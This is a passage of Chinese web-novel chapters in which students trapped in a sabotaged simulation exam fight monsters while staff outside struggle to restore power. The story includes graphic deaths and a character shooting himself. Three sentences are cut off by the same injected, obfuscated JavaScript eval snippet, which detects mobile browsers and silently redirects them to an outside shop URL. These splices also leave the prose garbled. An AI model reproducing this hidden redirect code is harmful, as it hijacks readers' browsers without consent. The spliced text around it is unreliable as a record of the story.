奋力敲击键盘的声音此起彼伏,但程序员们输入的速度完全比不上系统崩坏的速度。通讯方式被完全切断,他们联系不到系统内的学生,也无法主动终止模拟程序进行。 “怎么回事啊,病毒什么时候入侵的!?” 刚刚下夜班没多久的林睿雅头发都没梳,第一时间冲了回来:“现在什么情况?” 值班技术顺着故障表念了一串:“现在通讯系统失效、学生主动退出的程序被删除、安全区程序也被删除了。整个地图都变成了危险区,而危险区魑魅的数量和战斗数值都被调高了一倍!” “那学生们呢,是不是已经死出来很多了?赶紧去模拟仓室接人!” “这个……”技术员把监控画面调出来:“不知道为什么,学生们的求生欲特别强,从事故开始到现在没人死出来。” “电源呢?把模拟仓电源直接切断能不能强制唤醒?” 另一人说道:“能是能,但现在系统过载防护性很强,我们不敢保证切断电源能不产生意外……” 林睿雅咬咬牙,把骂脏话的冲动咽了回去:“先修复,我去找安格森。” …… 不过十几分钟,山脚下的雾就已经蔓延到了半山腰,更过分的是,黎子鸣他们越往山上走,居然发现也有雾从山上下来了。 他们被困在了靠近山顶的半山腰上。 周围的空气愈发寒冷,山林树木在雾气中若隐若现,枝干扭曲像是鬼爪,偶尔传来什么东西摩擦经过的声音。薄雾像是一张无形的网,将所有人牢牢困在其中。 情况不容乐观,他们能感知到,周围魑魅的气息越来越明显,也越来越密集。忽然,稍微偏下一点的地方传来慌乱地尖叫和逃窜的声音。 欧阳奕萱怔了一下:“是何凯他们!” 林欣予和黎子鸣对视一眼,旋即双双点头,往声音的来源走去。现在已经顾不得什么考试了,大家都承受着生命威胁,聚在一起是最好的活命方法。 “我和黎子鸣去把人带来……” 林欣予还没说完,苏佑容就反驳道:“不行,得留一个像样的战力在这,没你俩我们全是战五渣……不对不对,一起去吧!都这种时候就别分头行动了!” 说干就干,趁雾气还没有浓厚到影响视野的程度,得抓紧时间把分散的学生们聚集到一起。 一边走,苏佑容一边悄悄凑到欧阳奕萱旁边:“帮我注意一下,周围有没有什么山坳或者山洞之类的地方,方便你设障的……现在要变成堡垒守卫战了。” 欧阳奕萱对苏佑容主动的求助有点受宠若惊,但现在紧张的气氛不允许她多想,把这事应了下来。 很快,他们就和何凯那边的人汇合了。奇怪的是,何凯和其他几个人的身后并没有跟着魑魅。 “黎、黎子鸣!”看见黎子鸣的一刹那,何凯跟看到了救星一样,连忙扑了过来,“得救了……” 林欣予看着这男的周围几个人,皱了皱眉,这几人一半是方忻乐队的,一半是戈鸿志队的,偏偏那两个队长不在。 “你们队长呢?方忻乐和戈鸿志呢?” 何凯愣住了,他的大脑被“逃命”两个字完全支配,哪有空管别人,半天支支吾吾说不出话,还是旁边的一个女生顺好气颤抖着说道:“队长帮我们殿后了!后面有好多魑魅,救救他们!” “不、不能救!”何凯慌了,一把拦住人,“那是去送死,咱们、咱们逃就行了!” 然而,没有人理他。 苏佑容很快吩咐道:“黎子鸣,你去救人……谁能跟他一起去?帮我们指个位置。” 刚刚那个女生很快举手:“我带你去!” “别、别啊……黎子鸣你不能走!”何凯想伸手拉人,但黎子鸣不知道是没注意到他还是故意无视他,躲过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377577|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这人伸出的手,义无反顾地跟着那女生朝着山下走去。 这男的还想再说什么,却一把被林欣予揪着后领甩到地上:“你他吗是个人吗!方忻乐怎么选了你这么个队友!?” 何凯被这突如其来的动作打了个猝不及防:“我、我是担心大家的安危啊!不能为了两个人就牺牲我们所有人啊!奕萱、奕萱你是知道我的,我都是为了大家好啊!” 他深知欧阳奕萱是个护犊子的大小姐,之前就帮他说过话出过头,现在肯定也会帮他。但却不料欧阳奕萱只是瞥了他一眼,什么都没说。 林欣予语气都冷了几分:“要么闭嘴要么滚。” 这下,何凯才彻底安静。 不过好在,上天还是眷顾他们,十分钟后,黎子鸣回来了。带着方忻乐和戈鸿志,还算安全的回来了。 方忻乐看上去还好,只是有些擦伤;戈鸿志是黎子鸣背回来的,他腿上被抓了个口子,好在不深,已经止了血,但行动受到很大阻碍。 “队长!”两边的队员看到队长安然无恙,都围了上去,把人从黎子鸣背上接了下来,拿出药品开始消毒包扎。 现在,还存活的16个学生,都聚在一起了。 “现在怎么办,队长?”林欣予拍拍苏佑容的肩膀,格外严肃地这样称呼他,“内部有没有可以干涉系统程序的方法?” “有。”苏佑容点了点头,“我知道有个后门可以走,但需要时间破解,需要一个安全的地方……” 他突然想到什么,巡视了一眼其他人,方忻乐率先表态:“苏佑容,我们都听你的指挥。” 戈鸿志随后说道:“我们也一样。” “好。”苏佑容看了眼欧阳奕萱,欧阳奕萱马上明白了他的意思:“刚刚过来的时候我看见了一个小山洞,那里可以设障,我带大家过去。” 几个小时前还火药味十足的几个小组在瞬间扭成了一股绳,林欣予和欧阳奕萱站在最前面领路加开路,苏佑容和黎子鸣则走在最后断后。 一路上,看着苏佑容愈发难看的表情,黎子鸣忍不住开口问道:“你是不是其实很没有把握?” 苏佑容一怔,胡乱在衣服上抹了抹自己被冷汗浸湿的手心:“这都被你看出来了……系统现在故障成这样,我不知道内部干涉还有没有用。” 想了想,他扯出一个苦笑:“但安老师在外面,他的办法肯定比我多。” …… 现实,控制室门口。 “干什么干什么干什么!知不知道我对象刚给我做了午饭!我还一口没吃呢怎么又把人扒拉来了!?” "别嬉皮笑脸的!"林睿雅忍住打人的冲动,硬把安格森拉进控制室,指着故障数据给他看:“赶紧修!越快越好!” 安格森看着密密麻麻的故障愣了一下:“我就下班四五个小时,你们上白班的把系统炸了!?” 其他技术员也不知道该怎么解释,故障来的确实突然,到现在还原因不明。 “行行行……也不是什么大问题。”安格森无奈地拉出椅子坐下,“率先修复通讯和退出系统就行了吧,先让学生们安全出来……” 他刚敲了几个单词和符号,屏幕上的光标突然卡住。下一秒,屏幕居然黑了! 还没等安格森发出疑惑的声音,头顶上的灯一闪,居然也黑了!连锁反应像多米诺骨牌,控制室的各种屏幕和指示灯在不到十秒的时间里瞬间变成一片漆黑,就连警报声都在骤然间消失地无影无踪。房间里静得落针可闻。 直到底层的房间传来惊恐绝望的喊声—— “供电室着火了!!!” 林睿雅反应最快,她迅速吩咐下去:“接通预备电源!” 电流声过去,一些监控屏幕重新亮起,展现出系统内的画面。但是控制系统还是一片黑暗。 “不行!备用电源只有监控的电源好使,控制的备用电源电线全被剪断了!” “呵……”安格森在地上撑了一下脚,办公椅的轮子往后转动,刚好停在林睿雅身边。 “冲我来的,演都不演了。”他抬头,看着林睿雅一片青灰的脸,“软件上搞不定我,就在硬件上下手……真是好方法。” “找人来修。”估计是破事太多,林睿雅都有点没力气生气了,反而异常地冷静下来,“找人修、或者拉电线到其他教学楼的供电室,不管你们用什么方法,一个小时内必须恢复!!!” 57.破局 两个小时后,雾气已经彻底淹没了整个山头。 欧阳奕萱找的确实是个还不错的地方,山洞里面空间不小,很快就能见底,能保证后面没别的奇怪生物,而山洞口有几个很好的设障点位,面积也不大,欧阳奕萱只用了半小时就把障拉了起来。 大家安全了,暂时的。 “不知道这里能撑多久。”黎子鸣不敢大声说话,他怕引起其他人的恐慌,只能凑在自己的队员面前说,“我能感觉到,周围的魑魅数量在急剧增多。” “得,游击战变成堡垒战了。”苏佑容倒是还有心情开玩笑,他调出菜单的界面,不知道怎么操作点了几下,居然弹出来一个硕大的数据框,“几个小时过去,外面一点动静都没有,咱们还是尽快自救吧。” “物零社怎么这么不靠谱。”林欣予在旁边实在忍不住吐槽,“从这个学期一开始就是,没有一件事是顺利解决的,现在期末考试也乱成一团了。” 她有些焦躁,手指卷着自己的一缕头发,直觉告诉她这个意外肯定没那么简单。她想到当时叶琳的那句话,那个被多方争夺的硬盘自己马上就能看见内容,难道就是现在这个场景?如果是的话,那这就不是意外,是物零社设计好的……那目的是什么呢? 想着想着,林欣予就把自己绕进去了。 另一边,苏佑容还在菜单面板上操作着,并且脸色越来越难看:“靠!测试时的内部漏洞全被补上了!谁把这破系统修的这么牢固啊!?” 不安的气氛随着苏佑容愈发焦躁的动作蔓延在小山洞里,在这之前,所有人都把希望寄托在苏佑容能解开这个死亡诅咒。 方忻乐站了起来:“有没有什么我们能帮忙的?这样干等着不是办法……” 她还没说完,就被黎子鸣打断了:“大家,能打的有几个?” 似乎是怕表述不明确,他又加了一句:“能独立面对魑魅的,不会看见就吓得腿软的就行。” 大家没想到一向不主动说话的黎子鸣突然这样发问,一下子都愣住了。林欣予拽拽他的衣服,低声问:“外面的情况不对?” 黎子鸣点了点头,旋即加大音量说道:“暂时只需要两个人,能帮我拿附魔器就行,在门口放风,情况不对可以随时回来。” 片刻的沉默后,戈鸿志率先站了出来:“我跟你出去。”他身上有点伤,但似乎不碍事。 “我也去。”方忻乐紧接着说,她本来就有点坐立不安了。 “我也……”林欣予也正准备起身,但却被黎子鸣按了下去。 “你不行。”黎子鸣按着林欣予的肩膀,“你是除了我以外唯一能提供压倒性战力的,要保存体力,如果我的附魔器用完了,你顶上。” 林欣予不禁皱眉:“这么严峻?你感知到了什么?” “……”黎子鸣沉默片刻,不确定地开口:“估计,上百。” 他没用笃定的语气,估计是怕吓到大家反而乱了方寸,但他的感知从没出过错。 黎子鸣带着方忻乐和戈鸿志两人走出洞穴,语气是前所未有的严肃。 “准备战斗,很近了。” 话音刚落,周围骤然浮现出层层黑雾,细碎的摩擦声此起彼伏的响起,此处已被完全包围。 严峻的防守战一触即发。 …… 监控室内,操作系统的电力系统依旧没有恢复,只有监控屏幕闪烁着光,播放着系统内发生的事情。 门口,有人跑过来跟林睿雅说了什么,随后又跑走了。安格森看着走回房间里的林睿雅,疑惑道:“说什么了?电力恢复有信了吗?” 林睿雅摇了摇头:“电力还得等,正在重新拉电缆。刚刚那人跟我说,故障发生后在系统内阵亡的学生已经醒了,除了有点受惊以外没什么大碍。” 林睿雅重新把目光投向那几块监控屏幕:“好歹能确认学生安全了,虽然主动退出的按键失效,但死亡退出也不会造成伤害。看这个情况他们估计坚持不了多久,实在不行等人全出来了再进行详细检修。” 闻言,安格森却是皱了皱眉:“我总感觉哪里怪怪的,这个故障什么情况?为什么会同时破坏主动退出程序和外部沟通的程序,这俩根本不挨边。” “说到底,这是故障?还是人为?” 林睿雅突然愣住,回头对上安格森的那双蓝眸,瞳孔里是他的确信:“系统的完善是我进行的,我能确保在投入使用前它不会有任何程序问题——除非有人故意破坏。” “……你的意思是,有内鬼?” 安格森点点头:“只是推测,毕竟只有内部人员才能接触到程序。” “如果真的有,他/她破坏程序的目的是什么?帮助某个学生作弊?也不对吧。”林睿雅的大脑飞速运转,思考着一个合理的解释,突然想到了什么:“α!” 想到这一层,林睿雅的思路骤然通畅:“α的数据在这次的地图里,做出这种故障,只可能是以α为目的。” 但饶是如此,还有很多说不清的地方。林睿雅看着监控屏幕,屏幕里,黎子鸣带着那两人已经和第一波魑魅发生了冲突,这波魑魅的实力还不算强,方忻乐和戈鸿志也能应对,但通过外面的数据面板看,再过十分钟这些魑魅就会强大到那两人完全无法应对的程度。 林睿雅还在梳理思路:“如果是以α为目的,为什么要抹消安全区,让学生陷入这种处境?学生明显无法应对,很快就会死出来。” 屏幕里,方忻乐的左大腿被划出一道深可见骨的伤口,戈鸿志拿刀的右手也被切到了肌腱,抬不起来,林欣予冲出来把两人救了回去,只剩黎子鸣一个人继续防守。 剩下的学生间这两人都这么快失去战斗能力,躲在洞窟里,更不敢出来。 “说到底,他们为什么这么坚持?”一旁,安格森突然开口,“这种突发情况,大家肯定都知道是系统出了问题,考试肯定不做数,也没必要为了成绩坚持……但为什么所有人都在努力想活下去?” 安格森敲着控制面板一片漆黑的屏幕:“我还是那个意思,破坏我们内外沟通的手段,到底是什么用意?” 这两句话宛若暗室中骤开一扇天窗,林睿雅只觉得醍醐灌顶,所有的逻辑突然通畅! 她抓起对讲,询问道:“刚刚那个死亡退出的学生,问问他,离开前有没有看到什么奇怪的信息?” 不到一分钟,对讲的电流声响起,对面传来回复:“他说好像看到了什么文字,还有个没听过的声音在广播里说话,说什么真实死亡,但他还没听清楚就被杀出来了。” “我懂了!”林睿雅只凭这几个字她就能想象到里面发生了什么,“肯定是有人告诉学生们错误消息,说在里面死了现实也会死,所以他们现在一直在坚持——切断联系也是为了不让我们通知学生真相。” 安格森点点头,显然,他也是这么想的:“那目的就是……” 面对这种情况,这里面唯一有可能活下来的人只有黎子鸣,但黎子鸣依靠附魔器的储备量,迟早会被消耗殆尽,除非…… 两人异口同声:“找到零器。” 故障的真实目的,是逼迫这些学生在高压状态下找到零器,找到α,找到“宝藏”。 林睿雅拨通电话,是联系夏峰的电话,用几句很简单的话就说明了这个情况。 电话那边陷入长久的沉默,半晌,才传来夏峰沉重严肃的声音。 “安格森,预计还有十分钟通电,你留着修好系统。林睿雅,现在立刻带人去江祁山。” …… “不行,不行了!!!!”狭窄的山洞里,终于有人崩溃了,绝望的声音混着哭泣灌入每个人耳中:“大家都会死在这里!!!” 眼前的景象,宛若炼狱。 几分钟前,一只魑魅闯过了黎子鸣的防线,轻而易举把障撕成碎片,然后顺带把离障最近的两个人也撕成了碎片。 在这之后,它才被林欣予堪堪消灭。 狭小的空间里,弥漫着浓郁的血腥味,死去的那两人就是字面意义上的被“撕碎”,人体组织的碎片糊在地上,糊在岩壁上,糊在离得近的人的身体上。 在场的都是二十出头的大学生,没人能接受这种场面,惨叫声此起彼伏。 “啧。”林欣予咋舌,朝苏佑容喊道:“还没好吗!?” 苏佑容背对着洞口操作面板,没看到那副画面,但空气中的血腥味和不绝于耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386266|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的呕吐声已经昭示着发生了什么。 “还没好。”苏佑容的声音有点小,但大部分不是因为现在的惨状,而是因为他想到了一个可能性。 他刚准备说什么,但是局势已经不允许了,外面的魑魅太多,黎子鸣的武器储备量严重不足,他不敢随便再毫无节制的使用,对魑魅的压制力自然也减少许多。 眨眼间,黎子鸣甚至被压进了狭小的洞穴里。 “苏佑容!”几个人异口同声地喊道,没有多说,但大家都清楚其中的含义——苏佑容必须在此刻立马做出判断。 苏佑容一咬牙,把刚刚想说的话吞回肚子里,在分秒间直接做出下一步决定: “黎子鸣,开路!我们离开这个洞穴!” “好!”黎子鸣紧接着响应,下一秒,一股强大的灵力波动爆发,伴随着漫天的金属碎屑和黑色烟尘,洞口二十米开外的距离瞬间被清空。 见状,林欣予赶紧一手捞起欧阳奕萱,一手扶着受伤的方忻乐,毫不犹豫地往外走去,其他人见状也连忙跟上。 苏佑容的声音也没有间断:“黎子鸣,你开路,我们往山下走,回到城里,只要能找到附魔资源的补给我们就还有希望。” 大家都点点头,所有人的想法都一样,只要支持住黎子鸣的战力,就能保住更多的人活下去。 或许是因为黎子鸣之前这一击开路的震慑力太强,周围的魑魅一下子不敢轻易上前,数量也少了很多,除了开路的黎子鸣以外,零散的魑魅也能由其他人应对。形势似乎一下子好转了不少。 一边走,苏佑容一边又不禁陷入思考之中。 到现在,系统的死亡故障已经出现至少三四个小时了,并且迟迟没有外界在修复的迹象。苏佑容知道外面有安格森在盯着系统,他清楚安格森的能力,如果他能正常工作,那现在故障应该早就清除了,发生如此的态势只有一种可能——安格森失去了工作能力。 然而,之前安格森被绑架过一次,物零社一定很注重他的人身安全,所以这次绝对不是安老师本身出了什么问题。那么出问题的就是硬件系统,承载系统运转的机器出了问题,可能是断电,可能是别的什么物理损坏,具体的方式就不重要了。 再加上之前,根据他们在广播里听到的声音,可以确定故障是人为的。但是这个人为什么要破坏通讯系统?为什么要隔绝内部和外部的联系?对他的目的有什么帮助吗?还是说,如果内外能联系,就会干扰罪魁祸首的目的…… 耳边又传来不知道是谁发出的惊呼声,又是一次遭遇战,空气中的血腥味又浓了起来,但苏佑容好像不在乎这些变化了。他挥手打开故障的内部用户系统界面,紧紧盯着变化的时间。 他不知道罪魁祸首的终极目的是什么,但他能确定,达成ta的目的有一个条件,那就是把所有人困在系统里——而内外能联系会破坏这个条件。 苏佑容排除了很多可能,最终只剩下一种合理的解释。 他关闭系统界面,缓缓开口,声音不大但掷地有声:“大家,听我说,我没办法从内部把大家带出去。”他看见了已经精疲力尽的众人,压抑着自己沉重急促的心跳,保持语气的沉稳。 “但是……但是我想到了一种可能性,那个声音说的‘真实死亡’可能并不是真的,我们死亡后依旧可以正常在现实醒来。” 瞬间,所有人的脚步都停下,大家瞪圆了眼睛,看着说出这句话的苏佑容。 “……你确定吗?”方忻乐捂着手臂上血流如注的新增伤口,靠在身旁的一棵树上喘气:“别拿大家的命开玩笑。” 苏佑容只是摇头:“对不起,我不确定,我没有证据让你们相信我,这只是一种‘可能性’。” 他抽出了别在腰间的记号枪,自从异变发生后,他还没摸过这把枪。 “我会尝试的。”苏佑容说出这句话时,大家还没意识到他是什么意思。 他举起枪,对准自己的太阳穴,扣着扳机的食指还在微微颤抖。 队伍的前端,刚听到动静回头的林欣予和欧阳奕萱瞳孔紧缩。 “在通讯恢复前……” “活下去。” “砰——!!!” 58.阵亡 “砰——” “啊啊啊啊啊啊啊啊啊——” 枪声和尖叫一前一后响彻整片山林。 眼前,有着熟悉面孔的尸体又倒了下去,举枪自杀的尸体和那些被魑魅撕碎的人好像又给人数本就不多的团队带来了更大的冲击,此起彼伏的尖叫冲击着每个人的大脑神经。 饶是林欣予,也瞬间被冷汗浸透了整个后背。没等她接着思考,其他人绝望的各种声音就已经充斥鼓膜。 “怎么办啊苏佑容自杀了……” “他也觉得没有希望了吗?他都绝望了我们怎么办啊!” “别慌、别慌!黎子鸣还在呢!”是段梦婷的声音。 “但是黎子鸣的附魔器也要用完了啊!我们不过是要死的晚一些!” “啊啊啊啊啊啊我不想死在这,我不想死,我不想死……” 林欣予还怔在原地,她浑身冰冷,大脑宕机,完全不知道下一步该做什么,直到有人拽了拽她的袖子。 “欣、欣予……”是欧阳奕萱,她小声地开口,“他,他开枪之前,说的那是什么意思?是说我们就算在里面死了,也能正常脱离系统回到现实世界吗?” 林欣予能感觉到自己额头有汗水顺着脸颊流下:“我、我不知道……” 她是想要相信苏佑容的,但这种生命攸关的时候,她不敢随意给出自己的信任。 下意识的,她开始找黎子鸣,她开始破天荒地想要寻求黎子鸣的意见。 抬头,聚焦视野,在所有人都在崩溃混乱的时候,黎子鸣什么都没说,悄无声息地解决了正在靠近的两只魑魅。似乎是发现了她的目光,黎子鸣朝她走来。 “醒醒。”黎子鸣伸手在她眼前挥了挥,“别想苏佑容了,他既然这么果断的做出选择,肯定有他的原因。反正我不相信他是会随便去死的人。” 有了黎子鸣的声音突然进入脑海,林欣予的大脑好像确实清醒几分:“对、你说得对,我也相信他不是这样的人。” 她环顾四周,大部分人还是一片混乱,只有另外三个队长在试图安抚——不愧是当队长的。林欣予深呼吸几次,右手按在胸口,掷地有声:“大家别慌!维持阵型,接下来我来指挥,听我的!跟好黎子鸣!!!” 然而,情况并没有像林欣予想象的那样好转,恐慌还是在不断蔓延,而厄运专挑苦命人,出现的魑魅偏偏也在此时多了起来。 林欣予暗骂一声,事到如今已经没办法再用什么战术了,只能拿起武器,殊死一搏。 “所有人,想活命,就把自己手上的武器拿稳了!黎子鸣,你先把手上的附魔器省下来,现在这些魑魅我们来应对!” 林欣予不再思前顾后了,她抽出绑在腰间的绳镖,快步向前冲了过去,还顺便喊了方忻乐和戈鸿志两声——这两位也是现在为数不多的战力,即使带了伤,也比其他人强一些。 戈鸿志举刀挡住一只魑魅的攻击,附和道:“林欣予说得对!想活命就自己保护自己!” 说是这么说,但他还是挡在了两个队员面前,灵力在空气中炸开,把面前的魑魅逼退几分。 下一秒,一道拉着白光的箭矢从侧面破空而来,一击便穿透那魑魅的头部,将其瞬间打散成一团烟雾。 回头,是段梦婷站在那里,满头大汗,大口大口的呼吸着。她的手上是一套弓箭,握着弓箭的手还在颤抖。肾上腺素是个可怕的东西,如果放在半天前,段梦婷绝对不相信自己的箭能够杀掉一只魑魅,但现在她好像做到了。 没等她回过神,身后又传来一声惊恐的尖叫。一只魑魅突然从身上分化出一条如同触手的黑雾,从地面闪电般蹿出,缠住一个男生的小腿。旁边的方忻乐投掷出匕首,蓝光闪过,那魑魅连忙抽身后退。但它一后退,就直接撞上了身后的林欣予,被四散的绳镖直接打散! 黎子鸣和林欣予背对背靠着,他从段梦婷的箭袋里抽了几支箭,不用弓,直接当标枪一样投掷,护住林欣予的背后,三支箭穿透七支魑魅。但还是有点顾及不暇,远处又有人被魑魅围困住了。 “我去那边,你保护好自己。”黎子鸣撂下简单的一句话,朝着被围困的三人冲去。 一时间,优势好像有点回来了。 “继续下山!”几个领队的声音异口同声的响起。黎子鸣想都没想,从所剩无几的背包中抽出一把匕首,灌满灵力向前掷去,呼啸的破风声配合着飞散的烟尘,瞬间清出一条道路。 “走!”林欣予又解决掉两只魑魅,转头跟在队伍最后,撵着所有人赶紧往前走。她感觉人好像少了一些,但没空细数了。欧阳奕萱还在这里,她面对这种情况真的完全无力,一点战斗能力都没有,好就好在也没给几个战斗的人添乱。 但当林欣予转过头来准备一起撤退时,欧阳奕萱愣了一下:“你的眼睛……” 林欣予一愣,赶紧伸手挡了一下:“杀红眼了,别看了,快走。” 她催促着,甚至推了一下欧阳奕萱往前走。欧阳奕萱看的不太清楚,她感觉林欣予的瞳孔好像有些发红,但是可能也是因为气血上涌的正常原因,这种关键时刻也没必要在乎这些。走了两步,她突然看见旁边树上扎着一支箭,好像是之前段梦婷射出去的一支。 本着资源紧缺不能浪费的想法,欧阳奕萱也没多想,往那边走了两步,伸手想把那支箭拔下来。 时间在这一刻好像变慢了,林欣予看见了什么,她看见那棵树的后面正在凝聚的黑雾,狰狞的面孔已经跃然眼前! 在欧阳奕萱触碰到那支箭的一瞬间,魑魅的爪牙也已经隔着树毫不留情地挥下! “欧阳奕萱!!!” 林欣予只来得及喊出名字,她的瞳孔骤然紧缩,在某一瞬间完全变成了鲜红的红色——那一秒的时间,宛若停滞了一瞬。她手上的绳镖朝着那魑魅飞出,在最后一刻击中了那魑魅的要害! 与此同时,分秒之间,欧阳奕萱拔出了那支箭。但随后连眨眼的时间都没有,一股巨大的力量从眼前挥过,顿时间,欧阳奕萱只感觉眼前一黑—— 魑魅被林欣予的一击彻底打散,但那魑魅挥爪的力量已然无法收回,巨大的破坏力撕裂树干,更是直接撕碎了树干后脆弱的身体! “不要!!!”林欣予的声音撕心裂肺,面前被直接腰斩的尸体已经看不见上半身,飞溅的鲜血染红了林欣予半边身体,她从未闻过如此浓烈的血腥味。 也从未如此清晰的感觉到,自己护不住自己想护的人的感觉。 “林欣予!左边!”她听到有人在喊她,但已经有点分不出是谁的声音了。是黎子鸣?还是别的什么人?下意识地跟着声音向左边看去,她看见狰狞的爪牙,已经笼罩了自己的整个身体——没有力气了,她发现自己完全没有力气了,眼中的红色渐渐褪去,她现在的能力,一次爆发已经是极限了—— 随着“叮——”的一声,林欣予感觉面前白光闪烁,预想中的疼痛却并没有到来。 周围仿佛一下子安静了下来,空气中令人作呕的血腥味和魑魅的烟尘味都消散了不少,黑雾像是被清洗了一样,从那根断裂的树木开始,以圆形的范围渐渐变成了白色。 林欣予侧头看去,那魑魅的爪牙停在咫尺的距离,像是被什么东西挡住了一样,被固定在空中动弹不得。 “?” 所有人都因为这突如其来的变故愣住了,白雾弥漫的地方,那些魑魅一时间无法靠近。是障?好像不是,林欣予伸手,居然在空中感觉到了清楚的触感,像是触摸到了什么空间的边界。 只有黎子鸣看到了,他看到林欣予的面前有一道透明的屏障, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396636|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散发着淡淡的蓝色光辉,并且蕴含着一股可怕的力量:“后退!” 黎子鸣冲上前,把林欣予拽到三米开外,远离那道蓝色屏障,也远离那棵散发着诡异力量的残树,紧接着,那棵树扎根的土地突然塌陷成斜坡,泥土混着木头的碎屑簌簌滑落,扬起一片烟尘。 “这什么东西?”方忻乐微微皱眉,那股力量肉眼可见的强大,但又好像对他们没有敌意。这是故障产生的新的bug?还是地图里本身就有的机关? 但好在,不管如何,因为那道诡异的屏障,众人现在安全了——尽管只是暂时的。 几分钟后,塌陷扬起的烟尘渐渐散去,众人面前的地形已经有了翻天覆地的改变。原本半山腰处一个稍微隆起的小土坡,此时已然变成了一处谷地,斜坡的尽头,居然出现了一间屋子。 那屋子是个灰褐色的木质仓库,看上去只有十几平米的大小,杉木板的表面已经有些泛白,屋顶铺着厚厚的稻草,一扇简易的推拉门虚掩着,看不见门里是什么。 众人面面相觑,不知道下一步该干什么。林欣予此时也从刚刚的冲击里缓过来了,她咬咬牙,决定上前看看。 见她有向前走的意思,黎子鸣跟上她:“我跟你一起去看。” 看最强的两个人都往前走,其他人也都跟了上去,也就在这时,林欣予才发现,面前加上黎子鸣和她自己,居然只有六个人了。 脸熟的,只有方忻乐一个。 段梦婷、戈鸿志……还有其他人,都已经不知道在什么时候消失了。另外三个略显面生的,是黎子鸣当时去救的那三个人。 “……走吧,进那个屋子里看看。” 事到如今,林欣予终于开始对同伴的死亡麻木了。 走进,面前的木屋传来一股潮湿的泥土味,像是很久没人来过,门把手上也落了厚厚一层灰。但木头上却没有什么青苔,也没看见什么霉菌。 第六感在告诉大家,这里面定然有什么能够扭转局面的东西。 然而,当林欣予扶上门扉,将虚掩的门彻底打开的一瞬间,突然出现了“嘣”的一声,像是什么弦断了一般。随之响起的,是巨大的破碎声,是外面的屏障,在开门的一瞬间,突然化作了碎片,魑魅的咆哮声重新充斥鼓膜,但看见门内景象的林欣予和黎子鸣,已经完全呆住了。 “靠……这是……” 两人的呼吸停滞了。 面积不大的仓库里,地上堆着一些稻草,而这些稻草上,满满堆着许多散发着点点银光的武器。刀枪剑戟、斧钺钩叉,应接不暇,就那样像堆废铁一样堆在那里,粗数也有至少三四十把。 方忻乐看了眼那些武器,又看了眼黎子鸣,松了口气:“居然在这里有附魔资源,又能撑好一阵了。” “不,不止……”林欣予的声音甚至还有些结巴,支支吾吾半天没想好下一句该说什么。 身旁,黎子鸣一言不发,随意从地上捡了一把看上去毫不起眼的长剑。屏障碎裂后,魑魅如潮水一般涌进狭窄的山谷里,此时已经冲到了仓库的门口。 黎子鸣深吸一口气,扎下马步,举剑,平稳身体,集中精神,手上的剑身微微震动,下一秒,黎子鸣手上的剑好像沉重几分,他挥剑而出—— 摧枯拉朽的灵力比海啸还要猛烈,在一瞬间淹没了那些魑魅潮水,周围十米、不,方圆十里,在顷刻间变成一片寂静。 方忻乐惊呆了,这是黎子鸣目前用出的威力最大的一招,这说明这仓库里的附魔器质量肯定不错,但显然,她搞错了什么概念—— 因为光芒散去,她发现那柄长剑仍然在黎子鸣的手上,看上去毫发无伤。 林欣予终于组织好语言了,她扫过一屋子被随便乱扔的武器,一字一顿道: “这里的武器,都是零器。”